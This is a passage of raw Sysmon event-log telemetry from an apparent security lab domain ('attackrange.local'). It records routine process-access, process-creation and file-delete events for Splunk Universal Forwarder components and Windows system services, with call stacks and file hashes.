Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017489Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.611{625C326B-7403-613B-2605-00000000F101}2792C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017488Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.359{625C326B-7403-613B-2505-00000000F101}23642412C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000017487Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.156{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3AA8E7BE178FAD441EB65473C13BE550,SHA256=CFECA2DE4C2957FB06F0D7678CB02670EED943175B3DCF7F6184D9DE368EDDF2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017486Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7403-613B-2505-00000000F101}2364C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017485Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017484Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017483Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017482Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017481Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017480Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017479Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017478Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017477Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017476Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7403-613B-2505-00000000F101}2364C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017475Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.109{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7403-613B-2505-00000000F101}2364C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017474Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.110{625C326B-7403-613B-2505-00000000F101}2364C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:36.969{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=020C58215C6D1DF39C174BD528404CAA,SHA256=948B11D17A194F5E0826F485BBF3D5A7217574774CA4E58AB5948B02A01EE291,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017517Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.297{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E7D3042CEE2249A96C4E6408CC290C82,SHA256=627D2B458B109DC85F659F3A2080D627599E5978D58E1E1D52454A860B7FB27A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017516Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7404-613B-2705-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017515Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017514Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017513Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017512Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017511Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017510Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017509Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017508Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:36.281{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017507Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 